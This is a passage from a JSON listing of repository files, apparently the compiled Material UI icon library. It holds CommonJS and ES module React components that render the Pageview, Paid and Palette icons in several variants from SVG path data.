    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9C10.12 9 9 10.12 9 11.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S12.88 9 11.5 9M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-3.92 13.5-2.2-2.2c-.9.58-2.03.84-3.22.62-1.88-.35-3.38-1.93-3.62-3.83-.38-3.01 2.18-5.52 5.21-5.04 1.88.3 3.39 1.84 3.7 3.71.19 1.16-.08 2.23-.64 3.12l2.2 2.19c.39.39.39 1.03 0 1.42-.4.4-1.04.4-1.43.01\"\n}), 'PageviewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PageviewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9C10.12 9 9 10.12 9 11.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S12.88 9 11.5 9M22 4H2v16h20zm-5.21 14.21-2.91-2.91c-.69.44-1.51.7-2.39.7C9.01 16 7 13.99 7 11.5S9.01 7 11.5 7 16 9.01 16 11.5c0 .88-.26 1.69-.7 2.39l2.91 2.9z\"\n}), 'PageviewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PageviewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9C10.12 9 9 10.12 9 11.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S12.88 9 11.5 9M22 4H2v16h20zm-5.21 14.21-2.91-2.91c-.69.44-1.51.7-2.39.7C9.01 16 7 13.99 7 11.5S9.01 7 11.5 7 16 9.01 16 11.5c0 .88-.26 1.69-.7 2.39l2.91 2.9z\"\n}), 'PageviewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PageviewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm7.5-11c2.49 0 4.5 2.01 4.5 4.5 0 .88-.26 1.69-.7 2.39l2.44 2.43-1.42 1.42-2.44-2.44c-.69.44-1.51.7-2.39.7C9.01 16 7 13.99 7 11.5S9.01 7 11.5 7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.49 16c.88 0 1.7-.26 2.39-.7l2.44 2.44 1.42-1.42-2.44-2.43c.44-.7.7-1.51.7-2.39C16 9.01 13.99 7 11.5 7S7 9.01 7 11.5 9.01 16 11.49 16m.01-7c1.38 0 2.5 1.12 2.5 2.5S12.88 14 11.5 14 9 12.88 9 11.5 10.12 9 11.5 9M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'PageviewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PageviewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm7.5-11c2.49 0 4.5 2.01 4.5 4.5 0 .88-.26 1.69-.7 2.39l2.44 2.43-1.42 1.42-2.44-2.44c-.69.44-1.51.7-2.39.7C9.01 16 7 13.99 7 11.5S9.01 7 11.5 7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.49 16c.88 0 1.7-.26 2.39-.7l2.44 2.44 1.42-1.42-2.44-2.43c.44-.7.7-1.51.7-2.39C16 9.01 13.99 7 11.5 7S7 9.01 7 11.5 9.01 16 11.49 16m.01-7c1.38 0 2.5 1.12 2.5 2.5S12.88 14 11.5 14 9 12.88 9 11.5 10.12 9 11.5 9M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'PageviewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Paid.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.88 15.76V19h-1.75v-1.29c-.74-.18-2.39-.77-3.02-2.96l1.65-.67c.06.22.58 2.09 2.4 2.09.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96V5h1.75v1.24c1.84.32 2.51 1.79 2.66 2.23l-1.58.67c-.11-.35-.59-1.34-1.9-1.34-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.63-2.5 3.13-3.02 3.22\"\n}), 'Paid');"
  },
  {
    "path": "packages/mui-icons-material/lib/Paid.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.88 15.76V19h-1.75v-1.29c-.74-.18-2.39-.77-3.02-2.96l1.65-.67c.06.22.58 2.09 2.4 2.09.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96V5h1.75v1.24c1.84.32 2.51 1.79 2.66 2.23l-1.58.67c-.11-.35-.59-1.34-1.9-1.34-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.63-2.5 3.13-3.02 3.22\"\n}), 'Paid');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaidOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.89-8.9c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.44-.82-1.91-2.66-2.23V5h-1.75v1.26c-2.6.56-2.62 2.85-2.62 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 3.02 2.96V19h1.75v-1.24c.52-.09 3.02-.59 3.02-3.22.01-1.39-.6-2.61-3-3.44\"\n}), 'PaidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaidOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.89-8.9c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.44-.82-1.91-2.66-2.23V5h-1.75v1.26c-2.6.56-2.62 2.85-2.62 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 3.02 2.96V19h1.75v-1.24c.52-.09 3.02-.59 3.02-3.22.01-1.39-.6-2.61-3-3.44\"\n}), 'PaidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaidRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.88 15.76v.36c0 .48-.39.88-.88.88-.48 0-.88-.39-.88-.88v-.42c-.63-.15-1.93-.61-2.69-2.1-.23-.44-.01-.99.45-1.18l.07-.03c.41-.17.87 0 1.08.39.32.61.95 1.37 2.12 1.37.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96v-.36c0-.49.4-.88.88-.88s.88.39.88.88v.37c1.07.19 1.75.76 2.16 1.3.34.44.16 1.08-.36 1.3-.36.15-.78.03-1.02-.28-.28-.38-.78-.77-1.6-.77-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.63-2.5 3.13-3.02 3.22\"\n}), 'PaidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaidRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.88 15.76v.36c0 .48-.39.88-.88.88-.48 0-.88-.39-.88-.88v-.42c-.63-.15-1.93-.61-2.69-2.1-.23-.44-.01-.99.45-1.18l.07-.03c.41-.17.87 0 1.08.39.32.61.95 1.37 2.12 1.37.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96v-.36c0-.49.4-.88.88-.88s.88.39.88.88v.37c1.07.19 1.75.76 2.16 1.3.34.44.16 1.08-.36 1.3-.36.15-.78.03-1.02-.28-.28-.38-.78-.77-1.6-.77-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.63-2.5 3.13-3.02 3.22\"\n}), 'PaidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaidSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.88 15.76V19h-1.75v-1.29c-.74-.18-2.39-.77-3.02-2.96l1.65-.67c.06.22.58 2.09 2.4 2.09.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96V5h1.75v1.24c1.84.32 2.51 1.79 2.66 2.23l-1.58.67c-.11-.35-.59-1.34-1.9-1.34-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.63-2.5 3.13-3.02 3.22\"\n}), 'PaidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaidSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.88 15.76V19h-1.75v-1.29c-.74-.18-2.39-.77-3.02-2.96l1.65-.67c.06.22.58 2.09 2.4 2.09.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96V5h1.75v1.24c1.84.32 2.51 1.79 2.66 2.23l-1.58.67c-.11-.35-.59-1.34-1.9-1.34-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.63-2.5 3.13-3.02 3.22\"\n}), 'PaidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaidTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m.88 13.76V19h-1.75v-1.29c-.74-.18-2.39-.77-3.02-2.96l1.65-.67c.06.22.58 2.09 2.4 2.09.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96V5h1.75v1.24c1.84.32 2.51 1.79 2.66 2.23l-1.58.67c-.11-.35-.59-1.34-1.9-1.34-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.63-2.5 3.13-3.02 3.22\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.44-.82-1.91-2.66-2.23V5h-1.75v1.26c-2.6.56-2.62 2.85-2.62 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 3.02 2.96V19h1.75v-1.24c.52-.09 3.02-.59 3.02-3.22.01-1.39-.6-2.61-3-3.44\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\")], 'PaidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaidTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m.88 13.76V19h-1.75v-1.29c-.74-.18-2.39-.77-3.02-2.96l1.65-.67c.06.22.58 2.09 2.4 2.09.93 0 1.98-.48 1.98-1.61 0-.96-.7-1.46-2.28-2.03-1.1-.39-3.35-1.03-3.35-3.31 0-.1.01-2.4 2.62-2.96V5h1.75v1.24c1.84.32 2.51 1.79 2.66 2.23l-1.58.67c-.11-.35-.59-1.34-1.9-1.34-.7 0-1.81.37-1.81 1.39 0 .95.86 1.31 2.64 1.9 2.4.83 3.01 2.05 3.01 3.45 0 2.63-2.5 3.13-3.02 3.22\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.89 11.1c-1.78-.59-2.64-.96-2.64-1.9 0-1.02 1.11-1.39 1.81-1.39 1.31 0 1.79.99 1.9 1.34l1.58-.67c-.15-.44-.82-1.91-2.66-2.23V5h-1.75v1.26c-2.6.56-2.62 2.85-2.62 2.96 0 2.27 2.25 2.91 3.35 3.31 1.58.56 2.28 1.07 2.28 2.03 0 1.13-1.05 1.61-1.98 1.61-1.82 0-2.34-1.87-2.4-2.09l-1.66.67c.63 2.19 2.28 2.78 3.02 2.96V19h1.75v-1.24c.52-.09 3.02-.59 3.02-3.22.01-1.39-.6-2.61-3-3.44\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\")], 'PaidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Palette.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.2-.64-1.67-.08-.1-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m5.5 11c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m-3-4c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9M5 11.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S7.33 13 6.5 13 5 12.33 5 11.5m6-4c0 .83-.67 1.5-1.5 1.5S8 8.33 8 7.5 8.67 6 9.5 6s1.5.67 1.5 1.5\"\n}), 'Palette');"
  },
  {
    "path": "packages/mui-icons-material/lib/Palette.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.2-.64-1.67-.08-.1-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m5.5 11c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m-3-4c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9M5 11.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S7.33 13 6.5 13 5 12.33 5 11.5m6-4c0 .83-.67 1.5-1.5 1.5S8 8.33 8 7.5 8.67 6 9.5 6s1.5.67 1.5 1.5\"\n}), 'Palette');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaletteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22C6.49 22 2 17.51 2 12S6.49 2 12 2s10 4.04 10 9c0 3.31-2.69 6-6 6h-1.77c-.28 0-.5.22-.5.5 0 .12.05.23.13.33.41.47.64 1.06.64 1.67 0 1.38-1.12 2.5-2.5 2.5m0-18c-4.41 0-8 3.59-8 8s3.59 8 8 8c.28 0 .5-.22.5-.5 0-.16-.08-.28-.14-.35-.41-.46-.63-1.05-.63-1.65 0-1.38 1.12-2.5 2.5-2.5H16c2.21 0 4-1.79 4-4 0-3.86-3.59-7-8-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"4\")], 'PaletteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaletteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22C6.49 22 2 17.51 2 12S6.49 2 12 2s10 4.04 10 9c0 3.31-2.69 6-6 6h-1.77c-.28 0-.5.22-.5.5 0 .12.05.23.13.33.41.47.64 1.06.64 1.67 0 1.38-1.12 2.5-2.5 2.5m0-18c-4.41 0-8 3.59-8 8s3.59 8 8 8c.28 0 .5-.22.5-.5 0-.16-.08-.28-.14-.35-.41-.46-.63-1.05-.63-1.65 0-1.38 1.12-2.5 2.5-2.5H16c2.21 0 4-1.79 4-4 0-3.86-3.59-7-8-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"4\")], 'PaletteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaletteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.2-.64-1.67-.08-.1-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m5.5 11c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m-3-4c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9M5 11.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S7.33 13 6.5 13 5 12.33 5 11.5m6-4c0 .83-.67 1.5-1.5 1.5S8 8.33 8 7.5 8.67 6 9.5 6s1.5.67 1.5 1.5\"\n}), 'PaletteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaletteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.2-.64-1.67-.08-.1-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m5.5 11c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m-3-4c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9M5 11.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S7.33 13 6.5 13 5 12.33 5 11.5m6-4c0 .83-.67 1.5-1.5 1.5S8 8.33 8 7.5 8.67 6 9.5 6s1.5.67 1.5 1.5\"\n}), 'PaletteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaletteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.2-.64-1.67-.08-.1-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m5.5 11c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m-3-4c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9M5 11.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S7.33 13 6.5 13 5 12.33 5 11.5m6-4c0 .83-.67 1.5-1.5 1.5S8 8.33 8 7.5 8.67 6 9.5 6s1.5.67 1.5 1.5\"\n}), 'PaletteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PaletteSharp.mjs",
